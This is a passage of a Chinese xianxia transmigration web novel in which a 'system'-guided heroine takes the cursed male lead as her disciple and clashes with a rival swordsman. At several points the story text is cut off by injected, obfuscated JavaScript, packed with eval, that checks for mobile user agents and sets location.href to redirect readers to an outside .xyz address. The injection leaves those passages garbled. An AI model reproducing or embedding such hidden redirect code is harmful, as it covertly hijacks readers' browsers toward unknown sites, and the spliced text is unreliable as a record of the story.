周玉衍盯着下面那个刚被炊烟呛了一口，正在疯狂咳嗽的男孩，陷入了沉思。 在系统的催促下，周玉衍无声无息地跳下屋顶，然而她刚一落地，面前的男孩便迅速回头看了过来。 他被炊烟呛得太狠，回头的同时也还在咳着，然而那双眼却是煞气逼人。 周玉衍看着身穿粗布瘦骨嶙峋、被熏得满脸灰扑、狼狈咳着的男孩，微微挑了挑眉，对系统道：“还真是很有气势，这小眼神凶得很啊。” “但你是不是又出bug了？这是别的文里的落难男主吧？我穿的这篇文里的男主不是什么温润如玉的人设吗？也就掏我心窝的时候够狠。” 系统也很疑惑：“没错啊？检测一切正常，这人就是男主……” “我知道了！”系统恍然大悟，“之前我不是检测不到男主吗？但其实男主早就出现了，咱们耽搁了三年……应该是后面那个男主家中变故的剧情提前了！” “快快快，上啊！落难的男主啊！家中变故可是他顺风顺水的人生中最无助脆弱的时候——大好时机！狠狠刷他的好感！” 系统激动万分：“竟然阴差阳错让你捡到这么大的便宜！这本来可是女主的戏份，快快快！朝他伸出手！要他跟你走！” 周玉衍按住静音，屏蔽了正在她识海中拉礼炮挥飘带撒金雨的系统，面无表情道：“给人当爹当妈还成了捡便宜？多大个人了家中变故还得靠女主哄来哄去。” 但话完她却迟疑了一下，打量着面前止了咳嗽警惕站起，头顶却才刚到她下巴的瘦弱男孩，他露出的两截小臂上青紫遍布，想来被衣物遮蔽的身上也还有许多伤。 “你说男主跟人打起来……真的不是单方面挨打？” 系统支支吾吾，周玉衍看着面前这小煤炭一样的男主，也没了话说。 好像……年纪是还挺小的…… 或许是因为剧情提前而出的一些小bug？毕竟修仙世界，年纪根本不重要，几万岁的修士看着可能也跟十几岁的人差不多模样，系统为了走剧情卡个年龄bug出来倒也没什么。 周玉衍这样想着，开口想要跟他确认姓名：“你叫江以卓？” 她很难把面前的小煤炭跟书中的男主联系起来，尤其这人警惕瞪过来的眼神锐如剑锋，让她看着都有些咋舌。 “你是修士？”江以卓没答她，反而发问。 周玉衍眨眨眼：“我是算命的。十文一卦，你算不算？” 江以卓却道：“你从屋顶下来的。” 周玉衍了然，这是怕被那群害他家中变故的修士追杀呢。 书中有提过，后期有一位在秘境中与江以卓起过冲突的别宗弟子，雇了人去杀江以卓的凡人家族。 但现在剧情提前，也不知这点情节系统是怎么圆的。 “系统，男主还没入道，怎么还惹了仇家了？你们这剧情bug很多啊。” 系统狡辩道：“这个……许多剧情被锁，你得做任务推进才行……现在最重要的是收他为徒，跟他缔结师徒契，这样你们之间才算真正关联，任务才能按序开启，我才能激活全部的功能。” 周玉衍刚想吐槽说那要你这个系统何用，却见江以卓飞快地冲到侧方墙边，踩着堆积的木柴一蹬墙面就攀上了檐，而后迅速翻过了墙。 她瞪大了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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系统大叫：“宿主你干看着做什么啊？！快出手救人啊！男主现在这小身板等会儿再挨两下要被打死了！” 周玉衍没动，她紧紧盯着江以卓，嘴上却是敷衍道：“凹造型呢，反派出场的姿势要够帅。” 她注视着被压着打的江以卓，在鞋脚及数拳下落的缝隙，看见他眼中爆出骇人的凶光，其中恨意如凝实质，几乎生出了杀气。 “原来如此，周仙长来此地是为了这人。” 羡折再次落在了她的身旁，话语间也没有之前那么紧张了，甚至像是松了口气一样。 “这人的命格，在天煞孤星里也是极煞之人，确实不可留，不过这样打下去，还是太慢了。” 羡折抬手打出一小道灵力，击开还在挥拳踢脚的几人，把他们吓了一大跳，争先恐后地跑出了谷仓。 “我来动手，不必周仙长多费灵力，也不会叫你染上了煞气。” 周玉衍微愣：……啊？ 她没应话，羡折便以为这是默认，挥出极其凌厉的一道灵力，直逼江以卓而去。 周玉衍吓得瞬间回了神：等等！原来你说的什么极煞之人是男主吗？！ 但男主不是气运之子吗？！ 8. 第 8 章 周玉衍赶紧打出一道灵力，在羡折的灵力击中江以卓之前，她的灵力也撞上了羡折的灵力。 两道灵力相撞抵消，却还是带出了一道劲风，把江以卓吹得狼狈翻了个跟头。 这小倒霉蛋。周玉衍刚吐槽了一句，就见江以卓从地上挣扎着爬了起来，警惕看了这边一眼后就要往谷仓外跑。 系统：“身残志坚！不错不错。” 周玉衍：“不错在哪儿？被揍得半死不活了还这样跑，转头就下半身残疾，你这本书就可以改名了。” 系统：…… 周玉衍当即支了个结界罩住谷仓，然后就没再去管一瘸一拐朝着谷仓大门跑的江以卓了。 她转身想问羡折干嘛见面就气势汹汹地动手，没想到刚一回头就与羡折对上了目光。 羡折在她出手后就没再动作，这会儿见她看向自己，也定定望着她，开口解释道：“我以为你是来杀他的，所以……” 周玉衍：“误会啊，羡仙长别动手，我好不容易才找到他的。” 羡折：“极煞之人，周仙长找他做什么？” 周玉衍却道：“羡仙长的卦数出错了，这人并非极煞之人，而是气运之子。” 江以卓停住了往外跑的动作，微微侧眼望来。 “落难的气运之子，”周玉衍说道，“修真界未来的顶尖修士，可不能在这儿夭折了。” 羡折闻言皱起了眉：“我不是算卦算出来的，是望气。” “他顶上冲天煞气，根本不必算。” 周玉衍：“系统，这是什么情况？” 系统：“可能……男主身上出了些意外，所以才沾上了煞气，但他就是男主江以卓，这一点绝对没出错！” 周玉衍：“你这意思不就是——男主的命格真成极煞之人了？” 系统弱弱道：“就……出了一点小小小差错嘛……那什么，蝴蝶效应你懂的……” “蝴蝶效应把男主从世家白富帅弄成了趴地小煤炭是吧？把气运之子弄成了极煞之人是吧？” 周玉衍深深吸气：“你不给我解释清楚，我就让你看看我的拳头有多硬。” 系统汗流浃背：“……我解释不了啊！真是这样啊！但是、但是小问题！命格而已，不影响剧情，咱们正常做任务就行！” 周玉衍想了想，极煞命格通俗说也就是爱招惹事，江以卓有男主光环在，确实小问题，只是以后的任务肯定没完没了，她大概率不能放养这个徒弟了。 “我要带他回宗门，”周玉衍说，“羡仙长莫管此事了。” 羡折手上的灵力还是没散：“周仙长，极煞之人与寻常天煞孤星不同，是直接作用于命主自身，其命途极其坎坷，极易夭折。” 羡折看了眼江以卓：“他现在这副模样，最多只能熬到今年冬日。周仙长要是带他回宗门，就是改了他的命数了，往后也会被他身上煞气牵连。” 周玉衍心道我不仅要带他回宗门，我还得给他当辅助呢，参与度拉满，牵连这词都用轻了。 但她嘴上还是说着心灵鸡汤：“不过一个命格而已，往后如何，该是看他造化如何，我既然有余力助他，为何旁观？” 羡折眉间皱得更深：“极煞之人，自小受了太多恶意，要是他成长起来……日后修真界不会有什么安宁之日。” 周玉衍也没让步：“你都说了，极煞之人的命格直接作用于命主，苦都是他吃了，痛都是他捱了，旁人还要加害他，圣人都不带这么被欺负的。” “他看着年纪也还小，好好教导一番未必会走上不归路，宗门学塾教出来的弟子都不差的，带他回宗门可比让他流落在外要修身养性得多。” 羡折沉默许久，忽然抬眼瞪了她一眼：“旁人命线不可多改，你总是这般不顾己身去助人，长此以往，你……” 他突然止了话，像是害怕一语成谶。 周玉衍颇有些摸不着头脑，她自认不是个道德标兵，怎么羡折说得好像她经常干这种舍己为人的事一样。 但她见羡折散了手中灵力，也知道他应该暂时是不会对江以卓出手了，于是也没再多说，转身朝着站在不远处一直盯着她的江以卓走去。 她一边走还一边嘀咕：“真弄得跟个小煤炭一样……” 周玉衍走到江以卓面前，发现他虽然依旧是警惕盯着她，但整个人却没有之前在土房中绷得那么紧了。 “江以卓？”她念道。 江以卓盯了她好一会儿，才开口：“……就叫小煤炭也行。” 周玉衍闻言愣了下，而后倏然一笑：“怎么？不喜欢那个名字？” 江以卓点点头。 “行，小煤炭，”周玉衍笑着，掐了个法诀，“给你施个清洁术净一下身子，别躲。” 一团白光朝江以卓罩来，他下意识想躲，听到周玉衍的话后停了步子，神色紧绷地受了一阵灵力的洗刷。 “还挺好看嘛。”周玉衍随口笑道。 清洁术的白光消散后，入目是少年俊秀英挺的五官，只是他眉间紧皱，眼中锐意狂泄而出，生生把俊秀的面貌折掉好几分精致，带上了狠戾。 不过这下倒真有点男主的样子了，就是气质上跟“温润如玉”还是半点不沾边，看人的眼神活像野兽。 周玉衍叹道，小煤炭这副模样哪里温润如玉了？他应该在什么强取豪夺的文里当男主才对。 “你真想带我回宗门？”江以卓突然开口。 周玉衍点点头：“我还想收你为徒。” 江以卓明显愣了，好一会儿后他锋利的眼直扫过来，语气很沉：“条件？目的？” 周玉衍看了一眼系统在识海放出的提词器，上面写着原主在原剧情中收男主为徒时说过的台词：“你从那么远的地方一路追过来，只为拜入宗门，目的很明确，性子也坚定，虽为凡人，面对修士却不卑不亢，胆气不错，亦有野心。” 系统：“改改前面的词，忽悠一下男主。” 周玉衍笑了笑，瞥了眼站在原地抿着唇望着这边的羡折，悄声对江以卓说：“条件嘛，听我的话，目的嘛……我要你的根骨。” 话刚说完，周玉衍就及时按掉了系统的音量键。 系统在周玉衍的识海中上蹿下跳，但它被按了静音发不出尖锐爆鸣，只能疯狂在提词器上打字：“你在乱说什么！他问你目的你还真说啊？！你这样一说男主怎么可能敢拜你为师啊？！你这是干扰剧情！完了！第一个任务就失败了！算了算了我先去跑几个补救方案——” 周玉衍没搭理系统，只看着面前的江以卓。 江以卓听到这话稍有些惊讶，但却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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结契成功的那一刻，系统播报着机械语音：“恭喜阶段性任务圆满成功，正式开启本文重要支线，请合理规划人物行动轨迹，推进支线任务。” “下一阶段任务：因对江以卓情根深重，被拒绝后开始对他实施强制手段。” 周玉衍沉默了。 “你等一等，系统——你拿我当傻子呢？！” 周玉衍怒了：“我是穿书吧？穿的是那本《拳打魔界宵小，脚踢宗门内鬼，迎娶白富帅》对吧？你这是哪来的剧情啊？！怎么感情戏还有我这个配角的事啊？！” 系统：“其实……感情戏本来就有的，只不过写得比较隐晦，就……禁忌题材，为了过审嘛……” 系统也挺懵：“你没看过那些经典师徒文吗？那些什么小黑屋情节，就跟这篇文里的‘非人折磨’一个意思啊。” 周玉衍看着面前的小煤炭，深深吸气，艰难开口：“你的意思是，原主一开始是想取根骨才折磨男主，结果后面情根深种，然后——对他爱而不得、因爱生恨、强娶豪夺，最后还被反杀？” 好嘛，竟然还是个养成系。 系统：“是啊，不过你强取豪夺失败了的，男主心性坚定，宁死不屈。” 周玉衍立刻转身，对着羡折高喊：“羡仙长！救命啊！” 她不要被迫诱拐这小煤炭然后还被五年以上十年以下啊—— 9. 第 9 章 羡折在听到周玉衍喊救命的瞬间，就召出了剑甩手朝江以卓刺去，同时极快地飞身上前，将周玉衍拉到身侧，然后又是一掌击向江以卓。 然而在羡折的灵力打到江以卓身上之前，有血红的雾气突然升起，挡在江以卓身前，几乎是瞬间就将击来的灵力吞噬。 羡折凛目，翻手召回被挡在血雾前的长剑，掐诀打出万剑阵。 周玉衍被羡折拉到身侧，感慨了一下不愧是原书中的正派人物，对危险的感知力和迎难而上的胆气确实没得说。 她在跟江以卓结下师徒契的那刻，就察觉到了他体内的咒法，确是煞气缠绕，但她辨认不出是什么咒，而系统竟然也说不清楚。 不知道什么咒，自然也就没法解咒，现下咒法蓄势，周玉衍唯一能想到的就是暴力压制。 但她没打算出手，毕竟自己前脚刚收了人家，总不好即刻翻脸揍人——不过，这里还有个修真界土著嘛。 送上门的背景板，不用白不用。 在那咒法势起的前一刻，周玉衍顺嘴喊了声羡折，想引他来辨这咒法，没想到羡折竟然直接就把她从江以卓身边拉开了，倒是省了她聚灵跑路的功夫。 周玉衍于是顺势自羡折身侧再退一步，等着看羡折能不能把这咒法带起的血雾解决掉。 灵剑不断地朝血雾飞去，穿梭间形成一片光幕，然而到了那血雾面前，依旧一触即消。 周玉衍若有所思，催促着系统：“查到没？这是什么咒法？” 系统：“查不到，这咒法不在我的数据库里面，要么是这个世界的某个npc新创的咒法，要么是不属于这个世界、不属于这个位面、但独独属于男主的……” 周玉衍明白了：“金手指，男主的主角光环。” 系统：“没错，应该就是男主的金手指，毕竟是男主，肯定得有主角光环嘛……他现在落难，总得有些自保能力。” 周玉衍很无语：“男主这挂开得也太大了，羡折金丹大圆满的修为，都拿他没招，难怪后面他修为升得那么快。” 她走上前，抬手拦了拦正蓄势杀招的羡折：“别使杀招，一会儿真伤到人了。” 羡折闻言看向她，眉间紧皱：“这等咒法，怕是只有那几位隐世前辈才能使得出……” “没事没事，别担心，”周玉衍摆摆手，“我知道这咒法源头了，不碍事，羡仙长停手吧。” 羡仙：“是何咒法？必须解了这咒，否则待他进入宗门，不知会引出什么灾祸。” 周玉衍心道：这可是世间无人能解且无法反制的男主光环，咱们这种配角npc可根本管不了。 “交给我就行，我即刻带他回天云宗，为他解咒。”周玉衍忽悠道。 羡折：“周仙长，他这样的人，哪怕你非要将他带回宗门，也不能放他在你自己身边，何况他身上还有这等咒法……” “羡仙长，我心中有数。”周玉衍朝着血雾走去，准备用系统金手指驱散一下这血雾，看看被包裹在其中的江以卓现下是什么情况。 “极煞之人命格特殊，出世必引灾祸，上一位这等命格的人，就是现今的魔尊，”羡折立刻跟上前来，颇有些不依不挠，“周仙长，这等身负罕见咒法的极煞之人，不可过近……” “羡仙长，这咒法罕见仅是于外人而言，我却是见得多了，”周玉衍脚步没停，“且放心吧，旁人不来伤他，这咒法也不会随意伤人。” 男主光环嘛，她可不就是见得多了。 这似乎是漫不经心的一句话，却叫羡折顿住了脚步，他神情微愣，没有再开口。 只是在周玉衍离血雾还有几步距离时，他还是聚好了灵力，蓄势等着随时像刚才那样拉她到身侧。 然而血雾却随着周玉衍的靠近渐渐削减，江以卓的身形轮廓露了出来。 周玉衍挺惊讶，在薄薄的血雾前停住：“你能控制这血雾？” 她话音刚落，血雾完全消散，江以卓眼神复杂，眉宇间的戾气还没散去，却是乖顺地答她的问话：“偶尔能控制。” “……虽然，契成时它冒了出来，”江以卓有些僵硬地说，“但是不会伤人的。” 周玉衍随意点点头，但她想到刚才自己忽悠羡折的那通话，还是装模作样地补了一句：“等回了宗门，我给你解咒。” 江以卓眼神微闪，没有应话。 周玉衍展开神识，探查了一番江以卓的伤势，竟然比她想象中要好上许多，心脉都很有力，筋骨也没断，就是皮肉伤看着唬人。 这时羡折也走上前来：“你可知，是何人给你下的咒法？” 江以卓冷冷抬眼：“不知。我若是知道，早就去杀了那人。” 羡折皱眉，转头问周玉衍：“周仙长当真要把这人带回宗门？” 周玉衍叹气：“师徒契都下了，羡仙长莫再劝了。” “周仙长，常理来说，遇上极煞之人，该即刻斩杀以绝后患，”羡折说，“但你若执意将人带走……至少得让我给他下个追踪咒。” 周玉衍明白这大概是羡折对此事的底线，毕竟是极煞的命格，他知晓卦数，十分清楚其中风险，刚才能任由她结了师徒契，大概也只是被自己的一顿心灵鸡汤忽悠晕了。 她看向江以卓：“给你下个追踪咒，然后咱们回宗门，愿意吗？” 出乎她意料的，江以卓竟然和顺地点了点头，半点反抗的意思都没有。 羡折若有所思，手上却是飞快地掐了个诀，将一个追踪咒打在江以卓的左手腕上。 江以卓平静地抬起左手看了看：“我们能回宗门了吗？” “稍等，”周玉衍侧身，看向羡折，“羡仙长，命格这事，你要上报宗门吗？” 羡折：“自然。” 周玉衍：“羡仙长帮忙瞒一瞒，我有法子压制他的命格，那血雾也很好解决，日后他随我修行，绝不会成为下一个魔尊。” 羡折没应声，只静静看着她。 周玉衍被他盯得有些不自在，总觉得在忽悠老实人跟她同流合污，但男主莫名其妙变了个命格，她又不能一刀咔了羡折这个知情者，拉他下水是最好的办法了。 “羡仙长不是才与我说过，日后我若是有什么需要，尽可来找你？”周玉衍笑起，“羡仙长这等君子剑，不会说话不算数吧？” 见羡折怔愣，周玉衍调笑道：“出尔反尔，不合道义，有违礼法哦。” 羡折显然有些纠结：“我……可是……” 周玉衍趁热打铁：“而且你还说，你一定尽力。” 羡折没声音了，好一会儿过后，他突然伸手，从颈前里衣中勾指挑出一块被红绳系着的方形玉，握住玉块一拽，红绳断裂，随着他的动作划出漂亮的弧线，然后轻飘飘地落在了他的掌心。 羡折抬掌递去：“我说过的话，自然算数。你拿着，若遇上意外之事，它能护住你的心脉及命魂。” 周玉衍很惊讶：“玉？” 羡折点头：“玉。但不是普通的玉，家中所传，其上有许多秘法。” “既是家中所传，这般轻易予我……不太好吧？”周玉衍迟疑道，“这种传家宝，还是块玉，真要送人一般也都是送心上人……” 羡折明显一顿，声音冷硬：“……你收下。” 接收到了面前人的死亡视线，周玉衍闭了嘴，伸手接过。 方形玉块边角圆润，玉色剔透，质地很是温润细腻，周玉衍拿在手中把玩了一番，上面还残留着羡折的体温。 她勾了勾系着玉块的红绳：“红绳被你拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083916|179486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断了，我再找条红绳系上？” 羡折的目光从周玉衍勾着红绳的指尖上移开，点头道：“红绳系玉最好。” “这玉没什么避讳吧？我像你一样挂在胸前就行？”周玉衍说着话，将方形玉贴在衣襟前比了比，计量了一下需要的红绳长度。 羡折闻言，也朝她的衣襟望去：“没什么避讳，可以也挂在……” 他突然意识到了什么，瞬间止了话，耳尖通红，面色也泛红，轻喝道：“不必！不必……贴身。” 见周玉衍似乎被他突来的轻喝惊了一下，他憋了半天憋出一句：“你……你收在储物戒中就好。” 周玉衍没弄懂羡折古怪的态度，见他红着脸，还以为是被自己气到，心中惭愧：“系统，羡折不会对我下黑手吧？毕竟我仗着他恪守道义又坑了他一把。” 系统检测着玉块：“上面确实有很多秘法，但没有什么对人不利的。” 周玉衍放了心，将方形玉收进储物戒中，正要跟羡折客气几句，却突然感觉袖袍被人拽了拽。 她看过去，江以卓面露不快，又一次问道：“我们能回宗门了吗？” 周玉衍还没开口，就听见羡折冰凌般的声音：“毫无礼法。你唤她时，该带上称谓。” 江以卓瞥他一眼，又看回周玉衍：“要我怎么叫你？” 周玉衍倒是不太在意，反正二人连结师徒契都那般随意了：“姓周名玉衍，怎么唤随你喜欢。” “玉衍。”江以卓唤道。 他这一声唤得婉转绵长，却又因为音色低哑，不显半分拖沓，反起几分牵缠。 羡折即刻皱眉，冷声道：“身为弟子，怎可直呼其名！” 周玉衍也听得起了一身鸡皮疙瘩：“从哪儿学来的这些，你到年龄了吗就学人家这样说话，小孩子家家的。” 她话完，立刻感受到两道如刺目光，周玉衍疑惑道：“怎么了？” 江以卓：“我十七了。” 羡折：“人家？哪个人家？还有谁这般与你说过话？” 周玉衍忽略了羡折莫名的话，震惊看向江以卓：“你十七了？虚岁？虚岁也不对吧？” 江以卓：“虚岁该是十八了。” 羡折见周玉衍这副神情，眉头紧皱：“周仙长先前以为，这人年纪尚小？所以才要将他带回宗门教养？” 周玉衍一噎：“也不算是……” 羡折：“辨人年纪，需观其骨龄，不可被表象蒙蔽。” 周玉衍觉得羡折这句话说得颇有些冷气森森，辩解道：“年纪小不小的，也都得带回宗门的……” 江以卓插话道：“玉衍，我们回宗门吧。” 羡折：“你该叫她仙长。” 江以卓掀眼望他：“她与你互相唤对方仙长，显然是客气的称呼，但她与我为师徒，师徒关系，自然是比外人亲近许多的。” 羡折冷呵一声，看向江以卓的眼神锐如剑刃：“纵是师徒，也不可毫无礼法。” “你很恪守礼法？赠人贴身的玉就是你的礼法？”江以卓冷笑，“谁知道有没有什么旁的心思！” 羡折瞬间噤了声。 周玉衍没弄懂这两人怎么就一副要吵起来的架势，正要开口敷衍地和稀泥，却见羡折突然上前一步，白影占据了她全部的视野。 “仙尊。” 羡折开口道：“您本就身为长老，我为弟子，该唤您仙尊。” 他淡下了眼中寒戾，神情依旧清冷，却敛起了迫人的势。 “仙尊直呼我名，唤我羡折就好。” 他的声线也沉冷，说话同时行上一礼，姿态板正，面容平静，垂下的睫羽却轻轻颤了好几下。 “我方才赠玉，是献玉仙尊，绝无什么……旁的心思。” 10. 第 10 章 周玉衍想起自己之前花了大半年才把羡折对她的称呼从“周长老”纠正到了“周仙长”，结果这一下子竟然又成了“仙尊”，想着羡折这么纠结称谓，那就随他的意好了。 于是她摆摆手道：“我知晓的，你这般性子，纵是有什么心思，也会自己克制的。” 就像她给人算卦时，仗着自己有系统在身，该说的不该说的通通都说与了旁人，根本不顾什么“天机不可泄露”——每次这种时候，羡折都会皱着眉紧盯着她。 但这么久过去他还没把她这个毫无职业道德的人就地正法，显然就是遵循那点道义，克制着自己的脾气，企图能用好言好语感化她。 果真与她所想的一样，羡折闻言只说：“于礼不合之事，本就该克己。” 周玉衍很感动，羡折这种清晰礼法是约束自我而非规训旁人的人真是不多见，只可惜她没打算改过自新。 “你喜欢这般唤我，那就随你喜欢，”周玉衍笑道，“羡折。” 羡折没有抬眼，好一会儿过后才轻轻应了一声。 “不是说，要即刻带我回宗门吗？”江以卓凑上前来，盯着周玉衍看了几息，唤道，“师尊。” “师尊，我想与您回宗门去，”江以卓语调拖长，“我身上的伤好疼。” 周玉衍将目光从羡折身上移开，垂下望向江以卓。 他半阖着眼，原先的狠戾都藏进了低垂的眉目中，额间碎发微乱，却并不显得狼狈，反而为他衬上了几分病态的虚弱，或许因为周玉衍自上而下俯视着他，竟然觉得他流露出了一点顺从的神情，就好像真与他所说的一样，他疼得狠了。 但周玉衍才探过他的伤势，百分之一万肯定他这是装模作样。 这小煤炭，心眼子还挺多。 周玉衍没戳破，点点头道：“回宗门，我给你找些外敷的伤药，未入道的凡躯承受不住灵丹的药力，等你引气入体之后，才能吃疗伤灵丹。” “仙尊打算带他御剑回宗门？”羡折突然问。 周玉衍想了想：“我没有飞行法器，御剑最方便。” 多数修士都没有飞行法器，毕竟出门要么御剑要么轻功，飞行法器很鸡肋。 羡折面色微沉，踌躇着想要说些什么，江以卓先行开口道：“师尊，我有些怕高，您能拥着我御剑吗？” 下一刻羡折的眼刀就扫了过来，江以卓后退一步到周玉衍身后，轻拽着她的袖袍：“我从前见过修士御剑，飞得好高，可我不过一个凡人，没有灵力，师尊不护着我，我要是从空中掉下去怎么办？” 江以卓话完，在周玉衍身后探了半边身子出来，勾起唇角朝着羡折挑起眉峰，眼中恶劣毫不掩饰。 羡折身上剑势瞬涨，他深深吸气压下，开口道：“仙尊，不如我御剑带这人去天云宗……” “不用不用，我带就行，”周玉衍说，“你不是还要回自己宗门练剑吗？” 江以卓立刻接话：“没错，师尊带我御剑就好，不耽搁这位仙长的修炼时间。” 他催促着周玉衍：“师尊，我伤口好疼。” 周玉衍觉得江以卓很有些莫名其妙。 刚见自己时明明还凶得很，这会儿跟羡折对上，怎么还成一副小可怜的模样了？ 羡折抿唇，执拗劝道：“仙尊，他已十七，授受不亲。” “没事没事，”周玉衍转头，向江以卓确认，“我要御剑了，你可准备好了？” 同时她戳了戳识海中的系统：“系统，准备好了没？” 系统：“准备是准备好了，但这么好的一个刷男主好感的机会，你这样做……好感度不会直接变成负的吧？” “男主都说害怕了，都主动要你的拥抱了，”系统有些恨铁不成钢，“这可是女主的待遇啊！你竟然不抓住机会！” 周玉衍阴阳怪气道：“还待遇上了，你这样的系统，男主一骗能骗十个。” 她懒声道：“你家男主从温润如玉的世家公子，变成落难小绿茶咯。” “就他最开始那眼神，你真信他后面说的话？” 系统想了想，它还真没法反驳，尤其对上羡折之后，男主堪称变脸如翻书，而且这书怎么翻，还都跟原书的“温润如玉”搭不上边。 “何况他一个男主，怎么可能会点恐高的属性。” 周玉衍大手一挥：“系统，上！把男主带回天云宗，让他知道，咱们配角也是有金手指的！” 于是江以卓刚点完头，就突觉身上一轻，浩瀚灵力将他包裹起来，几息后强烈的失重感袭来，他下意识伸手前抓，却并没有与他所想那样，抓到周玉衍的衣摆。 “怕就别往下看，要么一直盯着前方，要么就闭眼。” 周玉衍带笑的声音从下方传来，江以卓这才反应过来，自己脚下踩了把木剑，正带着他悬浮在半空，而周玉衍仍然站在原地望着他。 “去吧，去天云宗，”她笑容狡黠，像是对他的那点小心思小伎俩一清二楚，“既要入宗门修炼，御剑可是基础，就算你当真怕高，为师也护不了你。” 江以卓正要开口，就见周玉衍一挥袖，狂风自他耳边呼啸，女子清越的声音和那两道白影瞬间模糊，周身景象也疾速后退，他的那句“师尊”没能来得及传进谁的耳朵，只好荡在空中。 “原来……仙尊是让他独自御剑。”羡折愣神了一会儿后，缓缓开口。 “自然，”周玉衍召出自己的剑，轻跃上去，御剑腾空，“羡折，我知你好意，你安心，寻常人可诓骗不了我。” “他到了我这儿，就得乖乖听我的话。” 衣袍层层叠叠飞扬，周玉衍踩着剑望来，明亮到羡折一瞬恍然，只觉她似剑气那般凌厉，扬起的笑同高悬于顶的烈日，是磨砺千万的刀剑，连被风吹得招展的墨发也如同抽枝。 周玉衍笑道：“明天见，羡折。” 羡折怔怔望着她，直到这白色的身影从视野里完全消失，他如融雪覆水般轻缓扬笑。 “明日见。”他轻声道。 * “师尊。” 周玉衍御剑落地，打量了一下面前脸色不太好看的江以卓：“完好无损嘛，走吧，我带你去院子。” 江以卓刚要开口，周玉衍又说：“如果你是来跟我装可怜喊疼的，那就直接闭嘴，我不吃这套，你也不用费这力气。” 她叹气道：“分明结师徒契的时候还是个聪明人。” 江以卓顿了一下，显然听明白了她的言外之意：“我讨厌方才那人，膈应一下他而已，并非是不听师尊的话。” 周玉衍轻易接受了江以卓讨厌羡折这件事，毕竟羡折一上来就对着他喊打喊杀的，理解理解。 系统：“……你还挺有先见之明，自己不动手，让羡折去探男主的血雾。” 周玉衍：“我还得想办法让男主不掏我心窝子呢，别的不说，表面功夫总得做一做吧？揍人这种事最好还是不要亲自动手。” “师尊，”江以卓问，“我体内咒法……现今于我有利，不解咒可以吗？我能藏得很好，不会叫旁人发现……” “可以啊。” 江以卓一愣，把原先准备好的一通说辞咽了回去，接着问道：“我的命格，师尊真有办法掩盖？” “真有，安心吧。” 江以卓静了几息，又开口问：“师尊，您打算什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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书中男主许多次被原主严刑折磨后，都是靠着宗门禁地里的天灵地宝回血，出入禁地如入无人之境。 禁地？什么禁地？在开挂的男主面前那叫私库！ 江以卓现在就跟原书中一样，刚拜了师来到天云宗的第一天，就试探了半天宗门禁地的事。 周玉衍啧声道：“系统，光记着男主是温润如玉的人设了，但他既然世家出身，哪会是什么单纯的人，落难后成了现在这模样，好像也挺合理。” 系统思考了一会儿，得出结论：“我明白了，男主的‘温润如玉’是专门留给女主的，得靠女主感化男主，他才成了书中的那种温润君子。” 周玉衍已经无力吐槽，在正厅的犄角旮旯里，翻出了她刚穿来那会儿还没适应灵丹的药力时，用过的一些疗伤膏药。 她拿着膏药，看了眼听到她刚才那话后在原地垂着眼沉思的江以卓。 这回他纵然低垂着眉目，却不像之前装模作样那般神情顺从了，而是露着他真实的面目：狠戾的、野性的。 周玉衍招手道：“徒弟，过来。” 江以卓抬眼，莫名觉得她招手的动作并不太像招呼徒弟。 “自己来敷药。” 他迈步上前，在周玉衍面前坐下，仰视着她，将手往前递：“师尊这般招手要我过来，竟然不是要亲自为我敷药吗？” 周玉衍调好了药膏，放在江以卓递来的手上，没多搭理他：“一点外伤，听话自己敷。” 江以卓突然伸出另一只手，抓住周玉衍刚才招手的那只手腕，刻意勾唇掀眼，吐字轻缓：“师尊……逗狗呢？” 11. 第 11 章 周玉衍挑了挑眉。 江以卓抓着她的手其实并没有多用力，她能轻易挣开，但她没动，反而去拿她刚刚放在江以卓手上的药膏。 她将药膏拿起放到一旁的案台上，然后一把掐住了江以卓的下巴。 江以卓身上气势瞬间暴戾，克制不住地眼露凶光。 周玉衍嗤笑一声：“逗狗？” 她手下用力，压住了江以卓本能的轻微挣扎：“没有谁会留一只咬主人的狗在身边。你这样的性子，也配当狗？” 江以卓眯起眼睛：“结师徒契时，我就答应了师尊，会听师尊的话，八年后会把我的根骨给师尊……” 他笑起来，眼中流光细碎：“怎么会咬人。” “我想要师尊亲自为我上药，”江以卓敛下眼，“师尊不愿意吗？还是师尊嫌我的模样不够好看？” 周玉衍闻言，松开了江以卓的下巴，却在他微扬唇角显出胜券在握的神情时，张掌向上抬起他的脸，五指抓紧他的两侧下颚，左右转了下他的脑袋。 期间江以卓又险些没能控制住自己的表情，也极其用力地挣扎了好几下，但周玉衍虽然一副鉴赏精美之物的玩味表情，手却极稳，他根本挣不开。 “我刚才说了，你自己去敷药，”周玉衍的声音清晰有力，“你既然说听我的话，那就少做些姿态，敷药去。” 周玉衍笑道：“不听话的狗，好不好看的，又有什么用？” 二人对视许久，江以卓收起了刻意做出的勾人神情，在周玉衍平静到让他觉得有几分淡漠的目光中，听话开口：“是，师尊，我自己去敷药。” 